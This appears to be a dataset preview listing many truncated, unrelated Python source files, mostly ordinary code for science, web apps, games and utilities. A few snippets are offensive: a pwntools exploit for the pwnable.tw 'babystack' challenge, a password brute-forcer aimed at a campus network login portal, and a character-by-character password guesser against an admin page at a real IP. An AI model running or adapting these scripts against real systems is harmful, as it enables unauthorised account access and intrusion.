text stringlengths 8 6.05M |
|---|
class HTML:
def __init__(self, output = None):
self.output = output
self.childrens = []
def __enter__(self):
return self
def __add__(self, other):
self.childrens.append(other)
return self
def __exit__(self, *args):
print("<html>... |
"""CLI to upload data to a MetaGenScope Server."""
from sys import stderr
import click
from metagenscope_cli.sample_sources.data_super_source import DataSuperSource
from metagenscope_cli.sample_sources.file_source import FileSource
from .utils import batch_upload, add_authorization, parse_metadata
@click.group()
d... |
# -*- coding: utf-8 -*-
"""
Created on Mon Oct 30 10:46:52 2017
Grab the filtered scenes, sort them based on acquisition dates, and save them as new sequentially numbered files
@author: dzelenak
"""
import os
import sys
import pprint
from shutil import copyfile
from argparse import ArgumentParser
def read_list(txtfi... |
# Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... |
from PrettyData import *
|
# -*- coding: utf-8 -*-
"""MRI simulation functions.
"""
import numpy as np
__all__ = ["birdcage_maps"]
def birdcage_maps(shape, r=1.5, nzz=8, dtype=complex):
"""Simulates birdcage coil sensitivies.
Args:
shape (tuple of ints): sensitivity maps shape,
can be of length 3, and 4.
r... |
import random
characters = "abcdefghijklmnopqrsqrstuvwxyz"
numbers = 1234567890
symbols = "!@#$%^&*"
print('''
Passifier
Running On Version: 1.0
Developed By github.com/AlirezaKJ/
''')
while True:
while True:
print('''
Press Enter To Continue Or Type Advanced To Enter Advanced Mode
''')
mode ... |
print("This is a string \nin \"Python\" ")
phrase = "Truong Ho"
print(phrase.lower())
print(len(phrase))
print(phrase[0].isupper())
print(phrase.index("Ho"))
print(phrase.replace(" ", " Lam "))
|
from pwn import *
r = remote("chall.pwnable.tw", 10205)
#r = process("./babystack")
#r = process('./babystack', env={"LD_PRELOAD":"./libc_64.so.6"})
def transIntToBytes(int_):
return hex(int.from_bytes(int_, byteorder="little"))
### leak rand_num
stack_element = b''
rand_num = b''
for t in range(16):
paylo... |
#! /usr/bin/env python
import sys
import ddlib # DeepDive python utility
ARR_DELIM = '~^~'
# For each input tuple
for row in sys.stdin:
parts = row.strip().split('\t')
if len(parts) != 6:
print >>sys.stderr, 'Failed to parse row:', row
continue
# Get all fields from a row
words = parts[0].split(... |
import unittest
import Song
class SongTests(unittest.TestCase):
def setUp(self):
self.such_song = Song.Song(
"song_title", "song_artist", "song_album", 5, 523, 1024)
def test_song_init(self):
self.assertEqual("song_title", self.such_song.title)
self.assertEqual("song_arti... |
#!/usr/bin/env python
# Author:tjy
import sys
print(sys.path)
print(sys.argv) #打印相当路径
print(sys.argv[1])
'''
import os
dir_res = os.system("dir")
print("--->", dir_res)
dir_res = os.popen("dir").read()
print(dir_res)
#os.mkdir("new")
print(os.getpid())
''' |
import os
import argparse
import datetime
import tensorflow as tf
from text_detector.detect_net import config as cfg
from text_detector.detect_net.yolo_net import YOLONet
from text_detector.utils.timer import Timer
from text_detector.utils.import_data import text_detect_obj
from text_detector.utils.logging import yolo_... |
# Name: Wes MacDonald
# Date: 11/30/2020
# Description: A program to simulate playing the abstract board game Focus/Domination
class Board:
"""represents a board"""
def __init__(self, p1_color, p2_color):
"""initializes a board object
:param p1_color: player 1 piece color
:type p1_colo... |
class MyRange(object):
"""
同时作为可迭代对象和迭代器,只能进行一次迭代
"""
def __init__(self, start, end):
self.start = start
self.end = end
self.index = start
def __iter__(self):
# 这个方法返回一个迭代器
return self
def __next__(self):
if self.index < self.end:
tm... |
import numpy as np
import cv2
import os
from time import sleep
from random import shuffle
from tqdm import tqdm
car_list = os.listdir('temp_data/car')
forest_list = os.listdir('temp_data/forest')
#print(file_list)
car = []
forest = []
car_one_hot = [1,0]
forest_one_hot = [0,1]
for file in tqdm(car_list):
if file.en... |
from django.contrib import admin
from .models import Autor
from .models import Ksiazka
from .models import WypozyczonaKsiazka
import adminactions.actions as actions
from django.contrib.admin import site
admin.site.register(Autor)
#admin.site.register(Ksiazka)
class KsiazkaAdmin(admin.ModelAdmin):
list_display = (... |
# -*- coding: utf-8 -*-
"""
Created on Sat Mar 2 16:33:52 2019
@author: saib
"""
class Student:
total = 1
def __init__(self, n, a):
self.__full_name=n
self.age=a
self.rollno = self.__class__.total
self.__class__.total += 1
def inc_age(self, c):
self.age+=c... |
#### Script for plotting machine produced data ####
#### IGA (machine 2) ####
import glob, os
from collections import OrderedDict
import simplejson as json
import matplotlib
matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
from matplotlib.pyplot import show, plot, ion
import pylab
import numpy as np
if __n... |
from BeautifulSoup import BeautifulSoup
doc = open('base.html', 'r').readlines()
soup = BeautifulSoup(''.join(doc))
parse = open('parse.html', 'w')
parse.write(u'{0}'.format(soup.prettify()))
print(soup.prettify())
parse.close() |
from . import v1_core
def list_nodes():
return v1_core.list_node()
|
from processamento.Imagem import Imagem
from processamento import Filtros as ft
"""
Vamos ler algumas imagens, aplicar efeitos e salvá-las em arquivo
"""
def ler_imagem(caminho: str):
img = open(caminho, encoding='utf-8')
linhas = []
for linha in img:
if not linha.startswith('#') and linha != '\... |
tomato_slices, cheese_slices=map(int,input().split())
Big_count=0
small_count=0
val=0
if(tomato_slices>cheese_slices):
val=tomato_slices
else:
val=cheese_slices
for i in range(1,val):
if(4*i<=tomato_slices and 1*i<=cheese_slices):
Big_count+=1
else:
break
for j in range(1,val):
if(2*j<=tomato_slices a... |
# -*- coding: utf-8 -*-
import nysol._nysolshell_core as n_core
from nysol.mcmd.nysollib.core import NysolMOD_CORE
from nysol.mcmd.nysollib import nysolutil as nutil
class Nysol_Mcombi(NysolMOD_CORE):
_kwd ,_inkwd,_outkwd = n_core.getparalist("mcombi",3)
def __init__(self,*args, **kw_args) :
super(Nysol_Mcombi,s... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
import requests
# Dictionnaire à tester
chars = '0123456789abcdef'
checking_str = 'Non mauvais password'
pwd_size = 32
# Hash MD5 en retour
result = ''
url = 'http://95.142.162.76:8082/index.php?p=admin'
data = {'username' : 'admin', 'password' : 'admin'}
print 'Merci de ... |
"""Builds vocabularies of tokens, lemmas, POS tags and labels"""
# Adapted from https://github.com/cs230-stanford/cs230-code-examples/blob/master/pytorch/nlp/build_vocab.py
# accessed on 03/09/2020
import argparse
import os
import json
from collections import Counter
parser = argparse.ArgumentParser()
parser.add_arg... |
# -*- coding: utf-8 -*-
"""MRI utilities.
"""
import numpy as np
import sigpy as sp
__all__ = ["get_cov", "whiten", "tseg_off_res_b_ct", "apply_tseg"]
def get_cov(noise):
"""Get covariance matrix from noise measurements.
Args:
noise (array): Noise measurements of shape [num_coils, ...]
Returns... |
#!/usr/bin/env python
# encoding: utf-8
import time
import requests
import re
from multiprocessing import Pool
def get(pwd):
url='http://222.179.99.144:8080/eportal/webGateModeV2.do?method=login¶m=true&wlanuserip=10.117.30.232&wlanacname=Ruijie_Ac_80eeb9&ssid=CQWU&nasip=192.168.255.5&mac=f6995122027c&t=wireless-v... |
#!/usr/bin/python
try:
import SocketServer as socketserver
except ImportError:
import socketserver
class MyTCPHandler(socketserver.BaseRequestHandler):
def handle(self):
self.data = self.request.recv(1024).strip()
print("{} wrote:".format(self.client_address[0]))
decoded = self.dat... |
# Generated by Django 3.0.6 on 2020-06-12 09:47
import colorfield.fields
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Home', '0015_auto_20200611_1907'),
]
operations = [
migrations.AddField(
model_name='item',
... |
import time
import torch
import numbers
from collections import Counter
import torch
import torch.functional as F
from torch.nn.utils.rnn import pad_sequence
from torchtext.datasets import text_classification
from torchtext.vocab import Vocab
import metrics
import numpy as np
_t0 = time.time()
def log(*args, **kwargs... |
# --------------------------------------------------------------------
import doctest
import unittest
import os
import sys
# --------------------------------------------------------------------
def sq (x) -> int: # Doc string contains expected results. Reises exceptions when not met
'''
Calculates the square... |
import socket
import sys
import threading
import time
from queue import Queue
Number_OF_THREADS=2
JOB_NUMBER=[1,2]
queue=Queue()
all_connection=[]
all_address=[]
def create_socket():
try:
global host
global port
global s
host=""
port = 9999
s=socket.socket()
except socket.error as mess:
print(st... |
"""
Time Complexity = O(N)
Space Complexity = O(1)
"""
class Solution:
def minCostToMoveChips(self, position: List[int]) -> int:
even = odd = 0
for i in position:
if i%2 == 0:
even += 1
else:
odd += 1
return min(odd... |
#!/usr/bin/python
#-*- coding: utf-8 -*-
'''
Created on 2017-04-07 15:17:55
@author: Maxing
'''
import requests
from requests.exceptions import ConnectionError
import time
import os
import sys
import json
import codecs
import logging
from utils import save_items, get_items_from_file, add_item_fields, log_init
reloa... |
#!/usr/bin/python
# This script generates templates for level 1 analysis performed after ICA-AROMA. Adapted from Jeanette Mumford.
import os
import glob
# Set this to the directory all of the sub### directories live in
studydir = '/Volumes/KATYA5GBA/HCP_Gambling_RESULTSevent'
# Set this to the direct... |
from django.shortcuts import render
from django.http import HttpResponse
from .models import Detail
from .serializers import Detailserializers
from rest_framework.renderers import JSONRenderer
# Create your views here.
def index(request):
return HttpResponse("welcome to the practice")
def see(request):
data=De... |
#7. Write a code to compare two string data based on the length of the string hint; __gt__ method
import re
class Comp():
def __init__(self, values):
self.__values = values
def __gt__(self,strng):
if(self.__values==strng.__values):
print "You entered same strings"
retur... |
# The bullet points associated with this set of tests in the evaluation document
test_set_id = "2.2.2"
# User friendly name of the tests
test_set_name = "Search Params"
# Probably best for tests to log to this one so that they will all have the same entry
import logging
logger = logging.getLogger(__name__)
|
class TreeNode(object):
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Solution(object):
def sortedArrayToBST(self, nums):
"""
:type nums: List[int]
:rtype: TreeNode
"""
def build(nums):
if not nums: retur... |
from django.shortcuts import render
from django.http import HttpResponse
from django.http import JsonResponse
import numpy
from selenium import webdriver
from bs4 import BeautifulSoup
import requests as rq
import pandas as pd
from time import sleep
import re
import aspect_based_sentiment_analysis as absa
modal_list=[]
... |
with open('test.txt', 'r') as f:
content = f.read()
print(content)
with open('test.txt', 'r') as f1:
line = f1.readline()
print(line)
with open('test.txt', 'r') as f2:
lines = f2.readlines()
print(lines)
with open('test.txt', 'r') as f3:
line = f3.readline()
print(line, end='')
... |
# This program asks the user for some personal details
# the program asks the user for their name
# then greets them
name = input("Enter your name")
print("Hello", name)
# ask user for age then say Your age is....
age = input("Enter your age")
print("You are", age)
#ask user for favourite movie
movie = input("What ... |
#coding:utf-8
from dao.dao import Dao
class SessionDao(object):
def __init__(self, session):
self.session = session
def get(self):
session_id = session.get_session_id()
return {
"session_id" : session_id,
"user_id" : 1,
"status" : 1,
... |
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# @Time : 2018/10/4 16:41
# @Author : dapeng!!
# @FileName: code_list_13.py
'''
一个列表排重,多种实践方法
'''
list1 = [7,1,2,3,4,5,5,6,7,9,8,9]
# 常规通过循环排重
list2 = []
for i in list1:
if i not in list2:
list2.append(i)
else:
print("")
print(list2)
# 内置函数set去重
... |
#
# Copyright 2019 Gianluca Frison, Dimitris Kouzoupis, Robin Verschueren,
# Andrea Zanelli, Niels van Duijkeren, Jonathan Frey, Tommaso Sartor,
# Branimir Novoselnik, Rien Quirynen, Rezart Qelibari, Dang Doan,
# Jonas Koenemann, Yutao Chen, Tobias Schöls, Jonas Schlagenhauf, Moritz Diehl
#
# This file is part of acado... |
import pandas as pd
import numpy as np
def historicalData():
data_set = pd.read_csv("data/mlb_historical_data.csv")
runs_game = list(data_set.loc[:, 'R/G'])
corr_dict = {}
for i in range(1, len(data_set.loc[0, :])):
x_values = list(data_set.iloc[:, i])
correlation_matrix = np.corr... |
import datetime
import os
import sys
import time
import logging
import requests
from config import PROXY_URL
class SpiderBase():
selenium = False
name = 'base'
def __init__(self, logger=None, account=None):
# self.name = 'base'
self.l = logger if logger else logging
self.driver =... |
# coding: UTF-8
from numpy import *
import operator
import math
import random
from os import listdir
import Knn
#from Knn import ArgSort_k
# 跟KNN差不多。只是这里的距离是已经提前算好的。还是本质还是通过KNN来模式识别。
def topk(distances,labels,k):
sortedDistIndicies = Knn.ArgSort_k(distances,len(distances),k);
#print 'sortedDistIndicies',sortedD... |
yes_questions = set()
total_questions = 0
for line in open('in').readlines():
if line == '\n':
total_questions += len(yes_questions)
yes_questions = set()
continue
yes_questions |= set(line.strip())
total_questions += len(yes_questions)
print(total_questions) |
import socket
import os
import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip_address= s.getsockname()[0]
print(ip_address)
s.close()
def_email = os.getenv("EMAIL")
def_pass = os.getenv("EM... |
# -*- coding: utf-8 -*-
from urllib import parse
import scrapy
from scrapy.http import Request
from articleSpider.items import ArticleItem
class JobboleSpider(scrapy.Spider):
name = 'jobbole'
allowed_domains = ['blog.jobbole.com']
start_urls = ['http://blog.jobbole.com/all-posts/']
def parse(self, re... |
# Generated by Django 2.0.dev20170827005745 on 2017-10-03 03:18
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('journals', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='entry',
name='orgin... |
from __future__ import print_function
import argparse
COUNTER = 0
class Stack:
def __init__(self):
self.stack = []
def pop(self):
if self.isEmpty():
return None
else:
return self.stack.pop()
def push(self,val):
return self.stack.append(val)
de... |
def fib(n):
if n == 1 or n == 2:
return 1
return fib(n-1) + fib(n-2)
print fib(1)
print fib(8)
|
import csv
import os
import re
import shutil
import sys
import timeit
import urllib.request
class Scrape:
def __init__(self, infile, outfile, errfile, outdir):
self.infile = infile
self.errfile = errfile
self.outfile = outfile
self.outdir = outdir
# Get rid of old output and er... |
import pandas as pd
import requests
from bs4 import BeautifulSoup
page = requests.get('https://forecast.weather.gov/MapClick.php?lat=34.10275767047926&lon=-118.33700636828377#.X0NkPhHhVNg')
soup = BeautifulSoup(page.content, 'html.parser')
week = soup.find(id='seven-day-forecast-body')
items = week.find_all(class_='tom... |
import json
input = input()
data = json.loads(input)
classs = dict()
offspr = dict()
check = dict()
def checking(name, elem):
for x in classs[name]:
if elem not in check[x]:
check[x].append(elem)
offspr[x] += 1
checking(x, elem)
for y in data:
classs[y['name']] = ... |
# -*- coding: utf-8 -*-
#
# Certbot documentation build configuration file, created by
# sphinx-quickstart on Sun Nov 23 20:35:21 2014.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# A... |
class URLS:
restaurants = 'https://disneyworld.disney.go.com/dining/'
token = 'https://disneyworld.disney.go.com/authentication/get-client-token/'
availability = 'https://disneyworld.disney.go.com/finder/dining-availability/'
DEFAULT_HEADER = {'X-Requested-With': 'XMLHttpRequest'}
try:
import lxml
BS_LEXER = 'lx... |
import time
import sys
def TripletFinder(SourceFile):
Number = []
Length = 100000
PreviousI = 101
PreviousJ = 101
PreviousK = 101
with open(SourceFile) as File:
for Index in range(Length):
Line = File.readline()
Number.append(int(Line))
Number.sort()
... |
import math
import jieba
from openpyxl import load_workbook
import re
def count_min(i,j,sen_word,degree_word,not_words,degree_dict,word_list_2,a,sigma):
sum_not=0
sum_degree=0
x = -math.pow(j-a,2)/(2*math.pow(sigma,2))
for m in range(i+1,j):
if word_list_2[m] in not_words:
... |
import pygame
###########################################################(반드시 필요)
pygame.init() #처음 초기화 하는 기능
#화면 크기 설정
screen_width= 480
screen_height = 640
screen = pygame.display.set_mode((screen_width,screen_height)) #실제로 적용됨
#화면 타이틀 설정
pygame.display.set_caption("Nado Game") #게임 이름 설정
# FPS
clock... |
class Person:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname
def printname(self):
print(self.fname, self.lname)
x = Person("PersonFN", "PersonLN")
x.printname()
class Student(Person):
def __init__(self, fname, lname):
# Person.__init__(self, fname,... |
import unittest
import numpy as np
from meta_learn.GPR_mll import GPRegressionLearned
from meta_learn.GPR_meta_mll import GPRegressionMetaLearned
from gpytorch.kernels import CosineKernel
import torch
class TestGPR_mll(unittest.TestCase):
def setUp(self):
## --- generate toy data --- #
torch.ma... |
# -- coding:utf-8 --
import socket,traceback,os,os.path,sys,time,struct,base64,gzip,array,json,zlib,threading
import datetime,uuid
def getmtime(file):
try:
return os.path.getmtime(file)
except: return 0
def getfiledigest(file,bufsize=1024*5,type='md5'):
import hashlib
m = hashlib.md5()
try:
fp = open(file... |
from django.contrib import admin
from .models import User, Organisation, UserOrganisation
# Register your models here.
admin.site.site_header = 'Orange Track'
class UserOrganisationAdmin(admin.ModelAdmin):
search_fields = ['organization']
list_display = ('organization', 'user', 'is_admin')
fields = ('org... |
N, M = map( int, input().split())
print(((N-M)*100 + M*1900)*(2**M))
|
from distutils.core import setup, Extension
import os
import numpy as np
def numpy_include():
try:
inc = np.get_include()
except AttributeError:
inc = np.get_numpy_include()
return inc
np_inc = numpy_include()
script_root = os.path.dirname(os.path.realpath(__file__))
src_root = f'{scri... |
# Generated by Django 2.0.1 on 2018-02-20 07:55
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('PlanningBoard', '0024_merge_20180218_2012'),
]
operations = [
migrations.RenameField(
model_name='planning',
old_name='recru... |
#!/usr/bin/python
import socket
import sys
UDP_IP = '127.0.0.1'
UDP_PORT = 1737
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind((UDP_IP, UDP_PORT))
while 1:
data = s.recv(1024)
#print data,
sys.stdout.write(data);
conn.close()
|
from .create_invite import CreateInviteController
from ..usecases import create_invite_usecase
create_invite_controller = CreateInviteController(create_invite_usecase)
|
from setuptools import setup
setup(
name='Flask-FirebaseAuth',
version='0.1.1',
description='Google Firebase Authentication integration for Flask',
packages=['flask_firebaseauth'],
include_package_data=True,
install_requires=[
'Flask>=0.11',
'PyJWT>=1.4',
'cryptography>=... |
# input
L = ['mango', 'grapes', 'banana', 'apple']
# process
'''
new = ['cherries', 'gauva', 'melon']
L.extend(new)
L.remove('grapes')
L.sort()
'''
L = ['mango', 'grapes', 'banana', 'apple']
L.remove('grapes')
L1 = ['cherries', 'gauva', 'melon']
L.extend(L1)
L.sort()
print(L)
# output
#... |
import numpy as np
class Prediction:
def __init__(self):
self.n = 3
self.N = self.n * self.n
self.bk = 9
q_tab = np.load('./q_tab_9.npz')
k = q_tab['k']
v = q_tab['v']
self.q_tab = dict(zip(k, v)) # 构建Q表
self.X = [-1, 0, 1, 0]
s... |
import base64
import os
import json
import pytest
from sdc.crypto.exceptions import InvalidTokenException
from sdc.crypto.jwt_helper import JWTHelper
from sdc.crypto.key_store import KeyStore
from tests import TEST_DO_NOT_USE_UPSTREAM_PUBLIC_PEM, TEST_DO_NOT_USE_SR_PRIVATE_PEM, \
TEST_DO_NOT_USE_UPSTREAM_PRIVATE_... |
import re
for _ in range(int(input())):
s = input()
if re.fullmatch(r'[456]\d{3}(-?)\d{4}\1\d{4}\1\d{4}', s) and not re.search(r'(\d)\1{3}', s.replace('-', '')):
print("Valid")
else:
print("Invalid")
|
import click
from .. import MinecraftServer
server = None
@click.group(context_settings=dict(help_option_names=['-h', '--help']))
@click.argument("address")
def cli(address):
"""
mcstatus provides an easy way to query Minecraft servers for
any information they can expose. It provides three modes of
... |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# Copyright (C) 2011 Rodrigo Pinheiro Marques de Araujo
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at ... |
from sys import stdout
def show_progress(counter, max_num):
stdout.flush()
stdout.write("\rthinking...(%d/%d)" % (counter+1, max_num))
def fin_progress():
stdout.write("\r\n")
|
# Shadows
import pygame, projections3D, structures_3D
size = 1000
class World(projections3D.Projection):
"""docstring for World."""
def __init__(self, width, height, background=(255, 255, 255), floor=None):
super(World, self).__init__(width, height)
self.background = background
self.fl... |
import re
import asyncio
import aiohttp
import requests
class APIHandler:
def __init__(self, api_key):
self.api_key = api_key
self.base_query_url = 'https://www.alphavantage.co/query'
async def fetch_data(self, session, url):
"""
Retrieve json data from a given url through AP... |
import numpy as np
import cv2
def houghTransform(edged,x0,x1,y0,y1):
maxVote = 0
# loop the region and find the edge pixel
for x in range(x0,x1):
for y in range(y0,y1):
if edged[y,x] > 0:
for a in range(x0... |
import pygame
from pygame import font
class Button():
def __init__(self,alien_setting,screen,msg):
# 初始化按钮属性
self.screen = screen
self.screenRect = screen.get_rect()
#设置按钮的尺寸和其他属性
self.width,self.height = 200,50
self.buttonColor = (0,255,0)
self.textColor = (... |
#input
# 27
# 90 17
# 67 76
# 21 22
# 28 66
# 58 33
# 47 25
# 40 48
# 22 21
# 11 15
# 57 64
# 65 76
# 38 36
# 88 19
# 70 25
# 52 27
# 77 51
# 34 53
# 37 46
# 66 56
# 21 34
# 79 59
# 50 29
# 17 62
# 41 18
# 68 88
# 73 42
# 73 20
def chance_for_a_to_win(pa,pb):
return sum(((1-pa)*(1-pb))**(n-1) * (pa) for n in range(1... |
"""
Author: Sidhin S Thomas (sidhin@trymake.com)
Copyright (c) 2017 Sibibia Technologies Pvt Ltd
All Rights Reserved
Unauthorized copying of this file, via any medium is strictly prohibited
Proprietary and confidential
""" |
import time
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.action_chains import ActionChains
from Home_Work_python.Learn_python3.Home_Work_1... |
"""
Modifique as funções que foram cridas no desafio 107 para que elas aceitem
um parâmetro a mais, informando se o valor retornado por elas vai ser ou não
formatado pela função moeda(), desenvolvida no desafio 108.
"""
from df109_moeda import moeda
price = float(input('Price: R$'))
print(f'The double of {moeda.moed... |
# -*- coding: UTF-8 -*-
import sys
import re
import time
def wordCount(file_in):
file_in = open(file_in, 'r')
file_out = open('result', 'w')
words = {}
tic = time.clock()
for line in file_in:
line = re.sub('[^(a-zA-Z)+\ \']+', " ", line)
line_words = line.split()
for word ... |
#!/usr/bin/env python
import rospy
import itertools
from robotnik_msgs.srv import set_digital_output, set_digital_outputRequest, set_named_digital_output, set_named_digital_outputResponse
from robotnik_msgs.msg import inputs_outputs, named_input_output, named_inputs_outputs
class NamedIO():
def __init__(self):
... |
from collections.abc import MutableMapping
import json
class StoreComparer(MutableMapping):
"""
Compare two store implementations, and make sure to do the same operation on both stores.
The operation from the first store are always considered as reference and
the will make sure the second store will... |
"""
Wrappers for handling remote run data (S3)
"""
from pathlib import Path
from typing import List
from autumn import settings
from autumn.core.utils import s3
class RemoteRunData:
def __init__(self, run_id: str, client=None):
"""Remote (S3) wrapper for a given run_id
Args:
run_id ... |
import numpy as np
import sklearn
import tensorflow as tf
from questions.utils import py_str
from .symbol_cost import SymbolCostModel
class Direct(SymbolCostModel):
def __init__(self, questions):
super().__init__()
self.costs = {}
for p, q in questions.items():
self.costs[p] =... |
from __future__ import print_function
import wspc
try:
c = wspc.Client('ws://localhost:9001')
'''
Go to http://localhost:9001 to get list of supported remote procedures
and notifications along with their arguments
'''
c.callbacks.ping_event(
lambda tick: print('ping - tick: {}'.format... |
SERVER_CONNECTION_ERROR = 1
NOT_INSTARTER_SERVER = 2
VERSION_MISMATCH = 3
NOT_REGISTERED = 4
LOG_FILE_DOESNT_EXIST = 5
NOT_AMAZON_INSTANCE = 6
CONFIG_FILE_DOESNT_EXIST = 7
class NotInstarterServerError(Exception):
pass
class VersionMismatchError(Exception):
pass
class NotConfiguredInstance(Exception):
... |
#!/usr/bin/env python
import matplotlib
matplotlib.use('Agg')
import matplotlib.pyplot as plt
figure = plt.figure()
axes = figure.add_subplot(111)
xs = range(20)
def y(x, a, b):
return x * a + b
for b in range(-5, 6):
axes.plot(xs, [y(x, 1, b) for x in xs])
axes.axis(xmin=0, xmax=10, ymin=-5, ymax=15)
axes.s... |
import numpy as np
import cv2
cap = cv2.VideoCapture(0)
# params for ShiTomasi corner detection
feature_params = dict( maxCorners = 10,
qualityLevel = 0.3,
minDistance = 7,
blockSize = 7 )
# Parameters for lucas kanade optical flow
lk_params = dict(... |
import pyshark
import sys
import ipaddress
from filter import Filter
class Result:
def __init__(self, tag, comment):
self.tag = tag
self.comment = comment
class Probability:
def __init__(self, device_type, value):
self.device_type = device_type
self.value = value
def calcul... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun May 13 20:22:46 2018
@author: vinicius
"""
#Data preprocessing
#Importing the libraries
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
np.set_printoptions(threshold=np.nan) #to be able to see the full array
#Import the dataset
... |
import numpy as np
from numpy import pi
import logging
import warnings
import inspect
from .errors import DiagnosticNotFilledError
from .kernel import PseudoSpectralKernel, tendency_forward_euler, tendency_ab2, tendency_ab3
from .parameterizations import Parameterization
try:
import mkl
np.use_fastnumpy = True... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.